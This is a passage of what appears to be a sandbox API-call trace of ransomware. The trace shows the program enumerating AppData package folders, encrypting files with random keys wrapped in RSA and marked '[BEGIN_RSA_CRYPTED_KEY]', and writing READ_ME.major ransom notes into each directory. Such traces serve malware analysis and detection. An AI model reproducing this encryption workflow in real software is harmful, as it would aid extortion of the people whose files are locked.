ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.661] FindNextFileW (in: hFindFile=0x2f2c7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.661] FindNextFileW (in: hFindFile=0x2f2c7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.661] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0194.661] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c4b8 [0194.661] FindNextFileW (in: hFindFile=0x2f2c4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.661] FindNextFileW (in: hFindFile=0x2f2c4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.662] FindNextFileW (in: hFindFile=0x2f2c4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c9e0 [0194.662] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c038 [0194.662] FindNextFileW (in: hFindFile=0x2f2c038, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.662] FindNextFileW (in: hFindFile=0x2f2c038, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.662] FindNextFileW (in: hFindFile=0x2f2c038, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.662] FindNextFileW (in: hFindFile=0x2f2c038, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.662] FindNextFileW (in: hFindFile=0x2f2c038, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8c9f8 [0194.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0194.662] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.662] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8ccb0 [0194.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0194.663] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb00 [0194.663] GetFileSizeEx (in: hFile=0xb00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0194.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f938d8 [0194.663] ReadFile (in: hFile=0xb00, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.664] SetFilePointer (in: hFile=0xb00, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.664] WriteFile (in: hFile=0xb00, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.664] SetFilePointer (in: hFile=0xb00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.664] WriteFile (in: hFile=0xb00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.665] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.665] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.665] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pCW24UAvOiR9Ghr8kFEO3Mz7r7wSBnfcu0774dRvKg9YJSuAl88lurIqGiqwJRTc\nTWknXuetLElmnD4u/eY6nkDdwRd6uQhntCdlxpBH+LM8fAp+i0WROI5AFM6Crobh\nC+S/HIVLcdEyW3HJzpdxrVy1dXE4G4XB9dmsKzyIGwP66c/k279x5L+HNgftxOXx\nUuHHMd0EnkOfDRSnofWN5CY0F/wxU25v2ZCqzQoJvGBYAidjpmwPB824sj9+3GK5\nVt3LTcJ2VqBziIahGtBmEXa3iI111cfYMPhWrbbEBhGaZNz+Nxcrwm+VSZ+yU85L\n1KkJuwKKzdcxaAgvKZ2gcQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.665] WriteFile (in: hFile=0xb00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.665] WriteFile (in: hFile=0xb00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.665] CloseHandle (hObject=0xb00) returned 1 [0194.668] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.668] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8bc60 [0194.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0194.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb00 [0194.668] GetFileSizeEx (in: hFile=0xb00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2c0 [0194.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2d0 [0194.669] ReadFile (in: hFile=0xb00, lpBuffer=0x59d2c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.669] SetFilePointer (in: hFile=0xb00, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.669] WriteFile (in: hFile=0xb00, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.669] SetFilePointer (in: hFile=0xb00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.669] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.669] WriteFile (in: hFile=0xb00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zR+XytwM+qQz3+bUAX0RbaZ5U8SbzgNbFlNXoCLogvYv5omrCvCSzXNbOvYegZlx\njQFeSMeN+wMrpgRmXOcgJGd3/npLO728rI+/98x2pNHqYzlaVF8boQwaEfmybB9e\ndEzj+aS/HLiMtYz4eqAXW8jvj/9Hv9One4WEr2U/spqOCmwh1iZm5+rR7112Bg84\nd//k9WpTwujLdyIqFjYC1/hFgH+CZy13BXCkiriVS9ievE7dj9/8FhkSORVvE3DC\nXazvjOWPWNmNBnmDpBtrWvwwXrH2Vg1GPFsAH43j3XTkO1T5+7YlXrVIMpHA4TBj\nr9IHfJAsKlFSuXYB6Gvxrw==\n", pcchString=0x2e3f9a8) returned 1 [0194.670] WriteFile (in: hFile=0xb00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.670] WriteFile (in: hFile=0xb00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.670] CloseHandle (hObject=0xb00) returned 1 [0194.672] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c178 [0194.672] FindNextFileW (in: hFindFile=0x2f2c178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x2f2c178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x2f2c178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c9e0 [0194.672] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c538 [0194.672] FindNextFileW (in: hFindFile=0x2f2c538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x2f2c538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be2d9a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x2f2c538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be2d9a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c248 [0194.673] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c5b8 [0194.673] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.673] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.673] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0c [0194.673] WriteFile (in: hFile=0xb0c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.674] CloseHandle (hObject=0xb0c) returned 1 [0194.674] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0c [0194.675] WriteFile (in: hFile=0xb0c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, 